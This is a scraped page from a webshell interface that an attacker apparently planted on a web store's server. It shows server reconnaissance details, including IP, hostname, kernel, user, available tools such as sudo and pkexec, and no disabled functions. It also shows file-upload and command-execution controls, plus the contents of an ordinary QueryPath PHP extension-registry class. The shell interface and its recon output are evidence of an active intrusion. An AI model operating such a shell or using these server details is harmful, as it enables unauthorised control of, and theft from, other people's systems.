403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/whale/QueryPath/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/whale/QueryPath/QueryPathExtension.php
<?php





interface QueryPathExtension {
  public function __construct(QueryPath $qp);
}


class QueryPathExtensionRegistry {
  
  public static $useRegistry = TRUE;
  
  protected static $extensionRegistry = array();
  protected static $extensionMethodRegistry = array();
  
  public static function extend($classname) {
    self::$extensionRegistry[] = $classname;
    $class = new ReflectionClass($classname);
    $methods = $class->getMethods();
    foreach ($methods as $method) {
      self::$extensionMethodRegistry[$method->getName()] = $classname;
    }
  }
  
  
  public static function hasMethod($name) {
    return isset(self::$extensionMethodRegistry[$name]);
  }
  
  
  public static function hasExtension($name) {
    return in_array($name, self::$extensionRegistry);
  }
  
  
  public static function getMethodClass($name) {
    return self::$extensionMethodRegistry[$name];
  }
  
  
  public static function getExtensions(QueryPath $qp) {
    $extInstances = array();
    foreach (self::$extensionRegistry as $ext) {
      $extInstances[$ext] = new $ext($qp);
    }
    return $extInstances;
  }
  
  
  public static function autoloadExtensions($boolean = TRUE) {
    self::$useRegistry = $boolean;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit